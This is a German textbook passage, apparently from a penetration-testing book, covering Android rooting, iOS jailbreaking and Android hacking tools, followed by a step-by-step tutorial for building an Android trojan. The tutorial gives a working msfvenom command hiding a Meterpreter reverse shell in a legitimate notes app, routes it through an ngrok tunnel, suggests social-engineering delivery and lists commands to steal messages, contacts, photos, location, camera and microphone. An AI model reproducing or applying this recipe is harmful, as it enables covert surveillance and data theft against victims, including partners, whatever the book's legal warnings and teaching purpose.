Klingt gut? Natürlich! Aber Vorsicht, mit dem Rooten eines Endgeräts setzen Sie sich diversen Risiken aus. Sie sollten hierbei wissen, was Sie tun, und sich im Vorfeld genau über das Vorgehen informieren. Der Prozess ist bei jedem Endgerät etwas anders und sehr oft nicht trivial. Sollte beim Root-Prozess etwas schieflaufen, ist Ihr Smartphone im schlimmsten Fall nicht mehr brauchbar. Man spricht hierbei von einem Hard Brick, einem nicht mehr reparierbaren Gerät. Da normalerweise alle Hersteller in ihren AGBs darauf hinweisen, dass die Garantieansprüche nach einem Root-Vorgang verfallen, bringt auch die Kontaktaufnahme mit dem Hersteller in der Regel nichts.
Hinweis: Garantie ist nicht gleich Gewährleistung
Durch das Rooten verliert der Anwender Garantieansprüche, aber unter Umständen nicht die Gewährleistungsansprüche. Wenn beim Rooten etwas kaputtgeht, dann wird der Hersteller wohl kaum ein Ersatzgerät bereitstellen. Sollte allerdings bei einem gerooteten Smartphone der Lautsprecher nicht mehr richtig funktionieren, gilt die Gewährleistung weiterhin.
Es kann auch passieren, dass manche Apps nicht mehr wie gewohnt funktionieren. Das kann unter anderem daran liegen, dass diese auf den SafetyNet-Service des Systems zugreifen. Dabei handelt es sich um eine Sicherheitskomponente von Google zum Schutz vor unbefugtem Zugriff auf sensible Daten. Apps prüfen den Systemstatus über SafetyNet und können bei Nichtbestehen der Prüfung ihre Funktion verweigern.
Der Root-Vorgang modifiziert diesen Status, sodass SafetyNet der betroffenen App zurückmeldet, dass das Gerät gerootet wurde. Das hat die Auswirkung, dass die Anwendung nicht oder nur mit Einschränkungen startet. Häufig ist dies bei Banking-Apps, Google Pay oder anderen sicherheitskritischen Anwendungen der Fall.
Auch die automatischen Systemupdates können nach dem Rooten nicht mehr durchgeführt werden. Dies ist ab diesem Zeitpunkt nur noch manuell möglich. Ein weiterer Nachteil kann sich in der Sicherheit Ihres Geräts widerspiegeln. Denken Sie daran: Je mehr Rechte vorhanden sind, umso verwundbarer wird Ihr System. Sie merken sicher schon, dass ein gerootetes Handy viel Verantwortung mit sich bringt. Sie sollten sich wirklich gut auskennen, wenn Sie ein gerootetes Smartphone betreiben möchten.
Wie bereits beschrieben, gestaltet sich der Vorgang zum Rooten eines Smartphones bei jedem Endgerät etwas anders. Es existiert auch nicht immer nur ein Weg zum Ziel. Manchmal gibt es verschiedene Möglichkeiten, manchmal gar keine, je nach Hardware und Hersteller. In den meisten Fällen flashen Sie manuell ein passendes Rootkit über eine Custom Recovery (Details dazu folgen).
Für manche Geräte können Apps wie KingRoot oder TowelRoot verwendet werden. Mit diesen sogenannten »One Click Root Apks« kann es recht einfach sein, einen Root-Zugriff zu erlangen. Es ist lediglich die Installation der jeweiligen App notwendig, um diese auszuführen. Dies empfehlen wir Ihnen allerdings nicht, da dieser Vorgang in den meisten Fällen nicht korrekt funktioniert und Sie keinerlei Kontrolle über die Prozesse im Hintergrund haben.
Wir geben Ihnen nachfolgend ein sehr generisches Beispiel für die grundsätzlichen Schritte eines manuellen Root-Vorgangs.
Wichtig: Garantieverlust, verlorene Daten und Hard Brick
Wir haben es bereits erwähnt: Wenn Sie den Versuch starten wollen, Ihr Smartphone zu rooten, seien Sie sich bitte der folgenden Tatsache bewusst: Sowohl die gespeicherten Daten als auch Ihre Garantie gehen damit ziemlich sicher verloren. Zudem besteht die Gefahr eines Hard Bricks, also eines nicht mehr reparierbaren Defekts des Geräts.
Bevor Sie beginnen, sollten Sie an das Backup der Daten auf dem betreffenden Smartphone denken, für den Fall, dass Sie diese behalten möchten. Informieren Sie sich gründlich darüber, welches Vorgehen bei Ihrem Smartphone-Typ notwendig ist und welche Software verwendet werden soll. Schauen Sie sich dazu Anleitungen in Foren und einschlägigen Plattformen an und erkundigen Sie sich auch über mögliche Risiken und Probleme. Eine gute Quelle dafür ist das XDA-Forum (https://forum.xda-developers.com).
In unserem Szenario nutzen wir ein günstiges Smartphone des Herstellers Blackview, um es zu »rooten«. Dabei waren folgende Schritte notwendig, die bei vielen anderen Herstellern analog funktionieren. Trotzdem ist zu beachten, dass das Rooting ein sehr individueller und komplexer Vorgang ist.
Abb. 29.5: Die Entwickleroptionen werden durch mehrmaliges Tippen auf die Build-Nummer aktiviert.
Zunächst ist es notwendig, die Entwickleroptionen des Smartphones anzupassen. Diese schalten wir durch siebenmaliges Tippen auf die Build-Nummer in den Einstellungen frei. Die Build-Nummer befindet sich je nach Android-Version an unterschiedlichen Stellen, hier müssen Sie ggf. etwas suchen, siehe Abbildung 29.5.
Wurden die Entwickleroptionen aktiviert, erscheint eine entsprechende Meldung, und wir finden einen neuen Menüpunkt (Entwickleroptionen) in den Einstellungen. Dort schalten wir USB-Debugging und OEM-Unlock an.
Das nächste Ziel ist, über die Android Debug Bridge (kurz ADB) vom PC per USB-Kabel Befehle an das Smartphone zu senden. Die ADB ist eine Schnittstelle, die für diesen Zweck entwickelt wurde. Damit können wir vom PC auf Komponenten des Android-Systems zugreifen.
Je nach Windows-Version und Hardware-Plattform sind dafür ggf. zusätzliche Treiber für den PC notwendig. Ab Windows 10 sind die erforderlichen Treiber oftmals schon integriert. Sollte eine Verbindung über ADB nicht möglich sein, können die entsprechenden OEM-Treiber von der Herstellerseite der Computer-Hardware heruntergeladen werden. Eine Übersicht darüber erhalten Sie unter https://developer.android.com/studio/run/oem-usb#Drivers.
Sind die korrekten Treiber auf dem System installiert, benötigen wir noch die passende Software in Form von ADB und Fastboot. Mit Fastboot ist es möglich, Images direkt auf eine Partition des internen Speichers zu »flashen«. Diese beiden Tools bzw. Funktionen sind im Software Development Kit von Android enthalten (https://developer.android.com/studio/releases/platform-tools) oder separat als neueste Version unter https://dl.google.com/android/repository/platform-tools-latest-windows.zip herunterzuladen.
Nachdem wir den Download in Form eines ZIP-Archivs entpackt haben, verbinden wir das Smartphone über die USB-Schnittstelle mit dem PC und navigieren mit der Eingabeaufforderung oder der PowerShell in das Verzeichnis, in dem sich die entpackten Dateien befinden. Dort geben wir den Befehl adb
devices
in das Terminal ein, damit das Smartphone mithilfe der Treiber korrekt erkannt wird. Mit adb
help
werden die Hilfeseiten von adb.exe
inklusive vorhandener Parameter angezeigt, siehe Abbildung 29.6.
Abb. 29.6: Das Endgerät wurde korrekt erkannt, Treiber und Smartphone-Einstellungen sind in Ordnung.
Damit sind die Voraussetzungen gegeben, Kommandos über ADB abzusetzen.
Unser Ziel ist nun, über den Fastboot-Mode die Stock-Recovery durch ein eigenes Custom-Recovery auszutauschen. Als Stock-Recovery wird das vom Hersteller mitgelieferte Grundsystem zur Wiederherstellung des Smartphones bezeichnet, eine Art Minimal-Android-Betriebssystem. Dieses ersetzen wir durch ein angepasstes Grundsystem, das Custom-Recovery, mit dem wir die Basisfunktionen erweitern, um das Gerät zu rooten.
Bevor wir dies allerdings tun, sollten Sie wissen, was es damit auf sich hat und wie der Bootvorgang eines Android-Systems aufgebaut ist. Beim Anschalten des Geräts wird als einer der ersten Vorgänge nach dem Laden des BIOS der Bootloader initialisiert. Der Bootloader veranlasst darauf den Start des Kernels, der im Anschluss das Android-Betriebssystem (auch Android-ROM genannt) lädt. Alternativ zum Kernel kann auch das Android-Recovery geladen werden. Damit ist es möglich, auf das Gerät zuzugreifen, selbst wenn das Android-ROM (das eigentliche Betriebssystem) beschädigt ist. Abbildung 29.7 verdeutlicht die Zusammenhänge.
Abb. 29.7: Der Bootprozess eines Android-Systems
Der Fastboot ist eine Art erweiterter Bootloader. Die Funktion entspricht generell der eines Bootloaders, geht allerdings noch darüber hinaus. So ist es im Fastboot-Mode zum Beispiel möglich, den Bootloader zu entsperren, um dadurch das Laden eines eigenen Recoverys, des Custom Recovery, zu ermöglichen.
Da dies unser Ziel ist, booten wir mithilfe von ADB das Smartphone in den Fastboot-Mode. Der Befehl dazu lautet adb
reboot
bootloader
. Sobald dieser abgesetzt wurde, startet das Endgerät neu und befindet sich darauf im Fastboot-Mode.
Hinweis: Fastboot-Mode via Tastenkombination
Der Fastboot-Mode ist auch über das Halten einer bestimmten Tastenkombination am Endgerät während des Einschaltens zu erreichen. Während diese allerdings bei jedem Endgerät etwas variiert, ist der Weg über ADB immer gleich.
Der Fastboot-Mode zeigt im Display des Smartphones eine Art interaktive Kommandozeile, die mit den Tasten gesteuert werden kann. An diesem Punkt entsperren wir den Bootloader, um das Custom Recovery laden zu können. Dabei hilft uns das Tool Fastboot, das wieder über die Eingabeaufforderung am PC gesteuert wird. Der Befehl fastboot
help
zeigt die entsprechende Hilfeseite. Der nun benötigte Befehl lautet fastboot
oem
unlock
. Je nach Hersteller sind noch weitere Angaben wie beispielsweise ein Unlock-Code bzw. eine Unlock-Datei notwendig, um diesen Schritt durchzuführen. Die Freischaltung des Bootloaders muss am Smartphone bestätigt werden. Da der Touchscreen keine Funktion hat, ist die Eingabe meist über die Lautstärketasten möglich.
Haben Sie den Bootloader freigeschaltet, startet das Gerät in der Regel neu und lädt das Android-Betriebssystem in den Werkseinstellungen. Mit einem freigeschalteten Bootloader ist es nun möglich, ein eigenes Recovery auf das Gerät zu flashen. Dies gelingt erneut über den Fastboot-Mode. Um diesen wieder zu erreichen, sind die bereits beschriebenen Schritte notwendig (USB Debugging aktivieren und anschließend mit adb
reboot
bootloader
den Fastboot-Mode starten).
Custom-Recoverys werden von alternativen Entwicklern, also nicht vom Gerätehersteller, angeboten. Diese haben einen erweiterten Funktionsumfang, den wir für die weiteren Schritte benötigen. Derzeit beliebt ist das TeamWinRecoveryProject (TWRP), das Sie passend für Ihr Endgerät unter https://twrp.me/Devices herunterladen können. Ist Ihr Endgerät nicht aufgeführt, hilft Ihnen eine Suche nach »TWRP <Gerätebezeichnung> Recovery« weiter. Meist finden Sie sich darauf in einem der einschlägigen Foren wieder, in dem die Community eine IMG-Datei als passendes Recovery für Ihr Gerät zum Download bereitstellt.
Liegt uns ein geeignetes Custom-Recovery vor und befinden wir uns im Fastboot-Mode des Smartphones, können wir das alternative Recovery mit dem Befehl fastboot
flash
revovery
<twrp-Datei>
auf das Gerät »flashen«. Ist dieser Vorgang abgeschlossen, booten wir mit dem Befehl fastboot
reboot
recovery
in das soeben installierte Custom-Recovery, siehe Abbildung 29.8.
Abb. 29.8: Installiertes Custom-Recovery von TWRP
Abbildung von YuvrajChowdaryMakkena – Eigenes Werk, Apache License 2.0, https://commons.wikimedia.org/w/index.php?curid=79680985
Mit diesem Recovery können wir unter anderem komplette Backups erstellen, auf die gespeicherten Daten zugreifen, Custom-ROMs (also Android-Betriebssysteme von Drittherstellern) installieren oder den Root-Zugriff einrichten. Letzteres ist unsere nächste Aufgabe.
Um den Root-Zugriff zu etablieren, muss ein Skript ausgeführt werden. Hier gibt es diverse Alternativen. Wir haben gute Erfahrungen mit Magisk gemacht, das unter https://github.com/topjohnwu/Magisk in Form einer ZIP-Datei erhältlich ist. Diese Datei haben wir nach dem Start des Smartphones in den Werkseinstellungen auf das Gerät kopiert.
Nun wählen wir in TWRP den Button Install und dort das Magisk-Archiv aus. Der Touchscreen wird von den meisten TWRP-Versionen unterstützt, alternativ kann mit den Lautstärketasten navigiert und mit dem An-/Ausschalter bestätigt werden. Nachdem wir die Datei erfolgreich installiert haben, starten wir das Gerät neu. Nach dem Neustart finden wir nicht nur eine neue App (Magisk) unter den Anwendungen, sondern wir haben nun Root-Zugriff auf das System.
Dies können wir ganz einfach über diverse Apps im Play Store überprüfen lassen (zum Beispiel mit Root Checker). Für den Test müssen wir der Root Checker-App entsprechenden Root-Zugriff gewähren und bestätigen. Abbildung 29.9 zeigt die erfolgreiche Prüfung.
Abb. 29.9: Root Checker bestätigt den erfolgreichen Root-Vorgang.
Jetzt sind wir ohne Einschränkungen Herr über das Android-System. Möglichkeiten, dies zu nutzen, gibt es viele. Wir können nun auch Apps installieren, die Root-Rechte erfordern. Zum Beispiel ist es möglich, mit Titanium Backup Pro Sicherungen von allen Apps zu erstellen oder mit dem System Tuner Pro das System zu optimieren. Auch einige Apps, die zum Hacking genutzt werden können, erfordern Root-Rechte. Diese lernen Sie in Abschnitt 29.3.5 kennen.
Analog zum Root-Zugriff unter Android werden bei einem iOS Jailbreak alle Restriktionen, denen ein iOS-Gerät unterliegt, entfernt. Man bricht im Grunde aus dem »Gefängnis« (engl. jail) aus, das Apple in das iOS eingebaut hat. Dabei liegt der Fokus nicht nur auf den klassischen iPhones, sondern auch auf Produkten wie iPad, iPod Touch und Apple TV. Denn auch darauf kann grundsätzlich ein Jailbreak durchgeführt werden.
Generell lässt sich beim Jailbreaking die gleiche Liste über Pro und Kontra aufstellen wie beim Rooting eines Android-Systems. Der Grundsatz bleibt bestehen: Nur wer sich über die Risiken und der Verantwortung bewusst ist, sollte den uneingeschränkten Zugriff auf die Systemdateien anstreben.
Jailbreaking ist nicht so weit verbreitet wie das Rooting unter Android, was verschiedene Gründe hat. Während Android ohnehin ein offenes, flexibles und leicht erweiterbares (und damit manipulierbares) System ist, legt Apple mit seinem iOS Wert auf ein geschlossenes Ökosystem. Durch den hohen Grad an Kontrolle und Abschottung seitens des Herstellers existieren für neuere iOS-Versionen weniger Schwachstellen, um einen Jailbreak durchzuführen.
Bei Android ist das Rooting abhängig vom Hersteller nicht zwangsläufig ausgeschlossen. Dagegen ist ein Jailbreak des iOS von Apple immer nur durch das Ausnutzen einer Schwachstelle (Exploit) möglich. Diese geht je nach Gerätetyp von einer Sicherheitslücke im iOS-Betriebssystem oder einem Designfehler in der Hardware aus. Die ersten Jailbreaks nutzten einen Hardware-Fehler und wurden über den DFU-Modus (Device Firmware Update) durchgeführt. Dieser Modus wird eigentlich dazu verwendet, das iPhone neu zu installieren, wenn es nicht mehr startet oder nicht mehr reagiert.
Heute gibt es auch Jailbreaks, die bei hochgefahrenem Betriebssystem installiert werden. Diese nutzen einen Fehler im iOS aus und werden Userland-Exploits genannt.
Für beide Varianten ist für gewöhnlich ein PC oder Mac notwendig, auf dem das Jailbreaking-Programm läuft. Bekannt sind z.B. Pangu, evasi0n, Absinthe oder redsn0w. Im November 2019 wurde mit Checkra1n ein erster öffentlicher Jailbreak für iOS 13 veröffentlicht. Dabei wird ein Boot-ROM-Exploit genutzt, um das Ausführen beliebiger Software zu ermöglichen – dies kann nicht gepatcht werden. Die Schwachstelle konnte bis zum iPhone X ausgenutzt werden, erforderte jedoch bei jedem Neustart einen erneuten Jailbreak-Prozess.
Software-Exploits aus externen Quellen, die direkt im iOS z.B. mithilfe des Safari-Browsers gestartet werden, sind sehr selten. Diese werden schnell entdeckt und die Schwachstelle wird in der Regel von den Entwicklern mit einem Software-Update behoben.
Wurde ein Jailbreak erfolgreich durchgeführt, ist der Anwender nicht mehr an den App Store gebunden und kann damit Apps von Drittanbietern installieren. Im Gegensatz zu Android ist dies bei iOS normalerweise nicht möglich.
Vorsicht: Fake-Programme
Im Internet angebotene Jailbraking-Software gibt sich oft lediglich als solche aus und ist in Wirklichkeit Fake. Stattdessen versteckt sich Schadsoftware dahinter ohne entsprechende Jailbreaking-Funktion.
Ein SIM-Lock realisiert softwareseitig die Bindung einer SIM-Karte an einen bestimmten Telefonanbieter. In der Regel wird dies aufgrund einer Vertragsbindung mit entsprechender Laufzeit umgesetzt. Somit sperren Mobilfunk-Anbieter für eine gewisse Dauer die Nutzung von SIM-Karten anderer Anbieter. Wird diese Sperre entfernt, spricht man von einem SIM-Unlock.
Das Entfernen des SIM-Locks ist in Deutschland strafbar, in anderen Ländern existieren teils sehr unterschiedliche gesetzliche Regelungen. Im Nachbarland Österreich beispielsweise ist das Entsperren grundsätzlich erlaubt, da das Gerät mit dem Kauf in das Eigentum seines Besitzers übergeht und dieser somit freie Verfügungsgewalt darüber hat. Es gibt einige Anbieter, die mit SIM-Unlock-Angeboten werben. Hier ist jedoch Vorsicht geboten, da darunter auch schwarze Schafe zu finden sind.
So wie es Hacking-Tools für Linux oder Windows als Plattform gibt, existiert genauso auch eine Vielzahl mehr oder weniger guter Hacking-Tools für Android. Einige haben wir schon im Laufe dieses Buches an verschiedenen Stellen erwähnt.
Um beispielsweise mit dem Smartphone anonym zu bleiben, haben Sie die Möglichkeit, Tor Browser oder Orbot zu nutzen. Um sensible Daten zu schützen, können Sie, wie im Kryptografie-Kapitel erwähnt, den Secret Space Encrypter verwenden. Weiter lohnt sich ein Blick auf Fing. Hierbei handelt es sich um einen guten Netzwerk-Scanner mit erweiterten Funktionen wie beispielsweise Portscan oder DNS-Lookup.
Auch eine Android-Variante von Nmap ist frei verfügbar. Um allerdings terminalbasierte Apps wie Nmap oder auch Metasploit auf Ihrem Android-Gerät nutzen zu können, benötigen Sie eine entsprechende Konsole. Diese kann Ihnen der Terminal-Emulator Termux zur Verfügung stellen. Die App beziehen Sie ganz einfach über den Play Store. Nachdem Sie Termux gestartet haben, können Sie Nmap mit dem Befehl pkg
install
nmap
installieren und erhalten dabei noch zusätzlich das bereits bekannte Tool netcat. Sie können damit zum Beispiel Reverse-Shells mit Ihrem Smartphone entgegennehmen. Um einen vollen Funktionsumfang für diese Anwendungen zu erhalten, muss Ihr Android allerdings gerootet sein (vgl. Abbildung 29.10).
Abb. 29.10: Ein Nmap-Scan auf einem Android-Smartphone
Generell ist es sogar möglich, alle Linux-Programme unter Android laufen zu lassen. Dazu ist allerdings eine Linux-Umgebung in Form eines reinen Terminals (keine Emulation) und ggf. bei Anwendungen mit grafischer Oberfläche ein X-Server erforderlich. Diese Umgebung kann entweder recht aufwendig konfiguriert und eingerichtet werden oder Sie nutzen die App UserLAnd. Diese ist kostenfrei im App-Store verfügbar und nimmt Ihnen sämtliche Arbeit im Hintergrund ab. Nach erfolgreicher Installation können Sie entweder über SSH oder VNC (dabei ist ein entsprechender Viewer notwendig) auf Linux-Anwendungen zugreifen (Abbildung 29.11).
Tipp: Kali Linux unter Android
Die App UserLAnd stellt neben Anwendungen auch ganze Distributionen wie Kali Linux, Debian und Arch Linux zum Download bereit. Beachten Sie, dass es sich um Basisinstallationen handelt und hier die meisten Tools, wie z.B. Metasploit (apt-get
install
metasploit-framework
), noch nachinstalliert werden müssen.
Abb. 29.11: Mithilfe von UserLAnd wurde das Metasploit-Framework auf dem Smartphone bereitgestellt.
Abb. 29.12: Das Penetration-Toolkit zAnti für Android
Wer ein Penetration-Testing-Toolkit für Android sucht, ist mit zAnti von Zimperium gut beraten (www.zimperium.com/zanti-mobile-penetration-testing). Sie können die App direkt von der Herstellerseite herunterladen und unter Android installieren. Bitte beachten Sie, dass Ihr Gerät für die Ausführung gerootet sein muss. Neben einem umfassenden Netzwerk-Scan, inklusive Port- und Vulnerability-Scan, bietet Ihnen zAnti unter anderem die Möglichkeit, diverse MITM-Angriffe durchzuführen. Hier lohnt es sich, einen Blick auf die zahlreichen Funktionen zu werfen (vgl. Abbildung 29.12).
Mit WiFiKill (ebenfalls Root-Rechte erforderlich) können Sie DoS-Angriffe auf Wireless-Umgebungen durchführen. Wozu diese Aktion auch im Rahmen eines Penetrationstests sinnvoll sein kann, haben Sie bereits im letzten Kapitel gesehen.
Vorsicht: Malware inklusive
Seien Sie besonders vorsichtig bei angeblichen Android-Hacking-Tools von Drittanbietern. Denn meistens holen Sie sich dabei selbst einen Trojaner ins Haus. Vermeintliche »WhatsApp-Sniffer« beispielsweise, die scheinbar Nachrichten aller im WLAN verbundenen Clients mitlesen können, sind Fake! Derartige Apps gibt es (zurzeit) nicht. Das merken Sie spätestens dann, wenn das Versprochene zum einen nicht funktioniert und zum anderen plötzlich wie von Geisterhand weitere Apps auf dem Smartphone nachinstalliert werden.
Genauso wie für alle anderen Betriebssysteme werden Sie für viele Zwecke auch eine passende App für Android finden. Ihr Vorteil dabei ist, dass Sie mit einem Mobilgerät optisch sehr unauffällig Angriffe durchführen können.
Im nun folgenden Abschnitt zeigen wir Ihnen, wie Sie selbst eine Malware für Android erstellen können. Damit sind Sie in der Lage, vollen Zugriff auf das Smartphone des Opfers zu bekommen. Sie können dann zum Beispiel Kontaktlisten, Gesprächsprotokolle und Nachrichten herunterladen, die GPS-Koordinaten abfragen, Screenshots aufnehmen, die Kamera oder das Mikrofon aktivieren und sich entsprechende Aufnahmen zusenden, oder Sie verschicken SMS-Nachrichten, ohne dass das Opfer etwas davon mitbekommt.
Vorsicht: Machen Sie sich nicht strafbar!
Wenden Sie dieses Wissen nur auf Ihrem Testgerät bzw. im Rahmen eines genehmigten Penetrationstests an! Wie Sie wissen, ist das Eindringen in fremde Geräte mit derartigen Mitteln unter normalen Umständen strafbar!
Doch zur Sache. Das Prinzip ist sehr ähnlich zu unserem PuTTY-Trojaner, den wir in Kapitel 12 Mit Malware das System übernehmen erstellt haben. Zunächst laden wir eine reguläre Anwendung von einem Drittanbieter (z.B. von https://apkpure.com) herunter und bestücken diese mithilfe von msfvenom mit Schadcode. Die Payload soll eine Meterpreter-Reverse-Shell aufbauen, die durch einen Metasploit-Handler entsprechend entgegengenommen wird. Damit das Ganze nicht nur im lokalen WLAN funktioniert, sondern auch über das Mobilfunknetz, nutzen wir den Service von ngrock (https://ngrok.com). Der Dienst nimmt die Reverse-Shell-Anfrage aus dem Internet entgegen und leitet diese in einen TCP-Tunnel auf den Localhost (127.0.0.1) des Angreifers auf den Port um, auf dem der Handler lauscht. Abbildung 29.13 verdeutlicht die Funktionsweise und zeigt, wie der Angriff von Mallory auf Alice schematisch abläuft.
Abb. 29.13: Funktionsweise des Android-Trojaners
Im ersten Schritt laden wir uns eine legitime App herunter, die für unseren Trojaner als Wirt dienen soll. Das ist wichtig, damit das Opfer keinen Verdacht schöpft. Die Anwendung kann problemlos installiert und gestartet werden, ohne dass offensichtlich wird, was im Hintergrund passiert. Die folgenden Schritte geschehen auf Kali Linux.
Eine Anwendung, die Notizen speichern kann, ist immer sinnvoll und wer ahnt schon, dass es sich hierbei um eine Schadsoftware handelt? Daher laden wir die Anwendung Notes unter https://apkpure.com/notes/com.bigtexapps.notes auf das Kali-System herunter.
Als weitere Vorbereitung ist eine kostenlose Anmeldung bei ngrok (https://ngrok.com) notwendig. Dieser Dienst stellt den Tunnel zum Angreifer bereit. Haben Sie sich registriert, finden Sie sich im Dashboard des User-Bereichs wieder. Hier werden die nächsten Schritte für die Einrichtung sehr einfach gezeigt, siehe Abbildung 29.14.
Die ersten drei Schritte können wir wie im Dashboard beschrieben durchführen. Dazu ist zunächst ein Download der Software auf unser Kali Linux notwendig. Danach entpacken wir die Datei und verbinden die Software unter Angabe des Tokens, der unter Punkt 3 angezeigt wird, mit unserem Account. Im Anschluss ist ngrok startklar, und wir generieren den TCP-Tunnel auf Port 1234 mit folgendem Befehl:
./ngrok tcp 1234
Abb. 29.14: Dashboard von ngrok.com
Ngrok zeigt uns eine Status-Übersicht an, siehe Abbildung 29.15. Es wird ein dynamischer TCP-Tunnel aufgebaut. Die Zeile Forwarding
zeigt, dass der Tunnel über die Adresse 4.tcp.eu.ngrok.io:17175
zu erreichen ist und auf unserem System auf localhost:1234
endet. Die Adresse ist individuell.
Abb. 29.15: Der TCP-Tunnel steht bereit.
Nun widmen wir uns der Erstellung des Trojaners. Wie Sie mit dem Tool msfvenom
Schadcode erstellen können, haben wir Ihnen bereits in Kapitel 12 Mit Malware das System übernehmen gezeigt. Wir übergeben eine Anwendung, in die wir den Schadcode einbringen möchten. Dazu wird die App zunächst mittels Reverse Engineering auseinandergenommen und im Anschluss wieder zusammengesetzt und signiert. Dieser Vorgang funktioniert nicht bei allen APKs gleichermaßen zuverlässig. Im Zweifel müssen Sie eine geeignete App identifizieren. Wir nutzen Notes, die heruntergeladene Datei benennen wir in notes.apk
um.
Jetzt erstellen wir den Android-Trojaner durch die Eingabe des folgenden Befehls, wobei Sie den Namen der APK-Datei und den Tunnelport ggf. anpassen müssen:
sudo msfvenom -x notes.apk --arch dalvik --platform android -p android/meterpreter/reverse_tcp lhost=4.tcp.eu.ngrok.io lport=17175 -o notes-new.apk
Mit dem Parameter -x
geben wir die legitime Original-Anwendung an. Mit --arch
nennen wir die Architektur des Payloads. Hier bezieht sich dalvik
auf die ältere Android-Runtime. Die Zielplattform für den Payload legt --platform
fest, in diesem Fall Android. Die gewünschte Payload folgt nach dem Parameter -p
. Für die Reverse-Shell ist die Angabe von LHOST
und LPORT
notwendig, diese Werte setzen wir dem TCP-Tunnel von ngrok entsprechend. Der Parameter -o
definiert die Ausgabe der neuen Anwendung inklusive Payload.
Hinweis: Zusätzliche Tools notwendig
Stellen Sie in jedem Fall sicher, dass die Pakete apktool
, default-jdk
und zipalign
mittels apt install
installiert wurden. Diese sind notwendig, um die oben beschriebenen Schritte durchzuführen.
Leider gab und gibt es unter Kali Linux je nach Version, immer wieder Kompatibilitätsprobleme beim Einsatz mit diesen Tools. Dabei liegt die Lösung häufig darin, die Bezugsquelle anzupassen.
Unter Kali 2023.1 haben wir das apktool
direkt von der Website bezogen (Anleitung für die Installation unter: https://apktool.org/docs/install/) und für zipalign
haben wir die Paketquellen in /etc/apt/sources.list
nach deb http://ftp.de.debian.org/debian buster main
angepasst.
Je nach Fehlermeldung, die beim Erstellen der Schadsoftware mit msfvenom
ausgegeben wird, am besten Google oder ChatGPT um Unterstützung bitten.
Damit die Reverse-Shell entgegengenommen werden kann, müssen wir unter Kali einen Multihandler einrichten. Das erledigen wir am besten unter Metasploit in der msfconsole
. Die Vorgehensweise sollte bereits bekannt sein. Die Besonderheit in diesem Fall ist die Festlegung des LHOST und des LPORT, die dem localhost und dem angegebenen Port beim Start von ngrok entspricht, siehe dazu auch Abbildung 29.16.
Abb. 29.16: Einrichtung des Multihandlers unter Metasploit
Es ist angerichtet ... Sobald die App nun auf einem Smartphone installiert und ausgeführt wird, baut sich eine entsprechende Meterpreter-Reverse-Shell mit dem Multihandler auf.
Wie die Anwendung auf das Opfer-System gelangen kann, haben Sie im Laufe dieses Buches an verschiedenen Stellen erfahren. Besonders Social Engineering ist hierbei gefragt. Ob Sie die Anwendung über einen Link zum Download bereitstellen, als E-Mail-Anhang versenden oder gar über einen Nachrichtendienst wie WhatsApp senden, bleibt Ihnen überlassen. Das Opfer sollte allerdings so naiv sein, dass es ein paar offensichtliche Warnhinweise ignoriert.
Tipp: Den Trojaner in der Laborumgebung bereitstellen
Für diesen Laborversuch bietet es sich an, auf Kali Linux mit systemctl
start
apache2
den Webserver zu starten und den Trojaner in das DocumentRoot-Verzeichnis unter /var/www/html
abzulegen. Über den Chrome-Browser kann der Trojaner dann auf dem Android-System heruntergeladen werden – vorausgesetzt, Sie nutzen Android-x86 in einer virtuellen Umgebung bzw. ein Opfer-Smartphone mit WLAN-Anbindung im lokalen Heimnetz.
Zunächst muss die Installation einer Anwendung von einer unbekannten Quelle in den Sicherheitseinstellungen zugelassen werden.
Wurde diese Einstellung durch den Anwender festgelegt, werden die Berechtigungen für die zu installierende App angezeigt. Diese müssen vor der Installation entsprechend bestätigt werden. Bei einem aufmerksamen und sicherheitsbewussten Anwender würden jetzt alle Alarmglocken läuten. Hier stellt man sich berechtigterweise die Frage, wozu eine Anwendung, die Notizen verwalten soll, zwei Bildschirmseiten voller Berechtigungen benötigt. Ein fahrlässiger Anwender würde diesen Hinweis evtl. einfach bestätigen, ohne sich weitere Gedanken darüber zu machen.
Ein letzter Sicherheitshinweis kann noch von Google Play Protect (siehe Abbildung 29.17) oder einem ggf. installierten Virenscanner kommen. Wird auch diese Warnung ignoriert, ist der Trojaner auf dem System eingerichtet.
Der Anwender sieht eine scheinbar harmlose Anwendung, die es ihm auch tatsächlich erlaubt, Notizen zu erstellen. Im Hintergrund wird unbemerkt eine Meterpreter-Shell zum Angreifer aufgebaut.
In der Praxis ist es übrigens häufig so, dass derartige Malware von Personen im engen Umfeld des Opfers installiert wird, die Zugang zu dessen Mobilgerät haben (z.B. Lebenspartner oder »Freunde«). Da einmal gewährte Berechtigungen später nicht mehr abgefragt werden, hat das Opfer kaum Chancen, die Manipulation zu erkennen.
Abb. 29.17: Der Google-Play-Protect-Hinweis wird ignoriert.
Damit ist es um das Opfer geschehen: Der Angreifer hat nun durch die zahlreichen Funktionen der Android-Meterpreter-Payload vielseitige Möglichkeiten, die Sie sich durch die Eingabe von ?
in der Shell anzeigen lassen können.
Mit dem Befehl download
/storage/emulated/0/DCIM
laden Sie beispielsweise gespeicherte Bilder vom infizierten Gerät herunter, dump_callog
, dump_contacts
oder dump_sms
veranlasst analog einen Download der entsprechenden Informationen, also Anruf-Historie, Kontakte bzw. SMS-Nachrichten. Durch das Kommando send_sms
-d
<Empfänger>
-t
<Text>
können sogar SMS im Namen des Opfers versendet werden. Es können Screenshots erstellt (screenshot
), die GPS-Daten abgefragt (geolocate
) oder sogar die Kamera und das Mikrofon aktiviert werden (webcam_snap
und record_mic
). Das sind nur ein paar der Funktionen, die dem Angreifer an dieser Stelle zur Verfügung stehen.
Gelingt es dem Angreifer, eine derartige Verbindung zum Opfer aufzubauen, sind nahezu alle Grenzen gefallen und alles möglich. Allerdings sei an dieser Stelle auch erwähnt, dass das Opfer hier grobe Sicherheitsaspekte missachtet hat, wie wir zuvor dargestellt haben.
Im Gegensatz zu Android ist bei iOS die Installation von Drittanbieter-Apps aus ungeprüften Quellen grundsätzlich nicht möglich.
Das schützt zwar iOS-Anwender vor dieser Art Angriff, das heißt aber nicht, dass es auf Apple-Komponenten keine Sicherheitslücken gibt. Im Gegenteil gilt: Keine Plattform ist 100%ig sicher, denn für jedes Betriebssystem existieren entsprechende Angriffsmöglichkeiten.
Wie bereits in Abschnitt 29.3.3 erläutert, ist für bestimmte iOS-Versionen z.B. ein Jailbreak möglich, der eine Privilegien-Eskalation zulässt und die Voraussetzung für diverse weitere von Apple nicht vorgesehene Handlungen ist. Wie dort ausgeführt, betrifft dies auch aktuellere Versionen.
Hinweis: Auch Drittanbieter-Apps für iOS
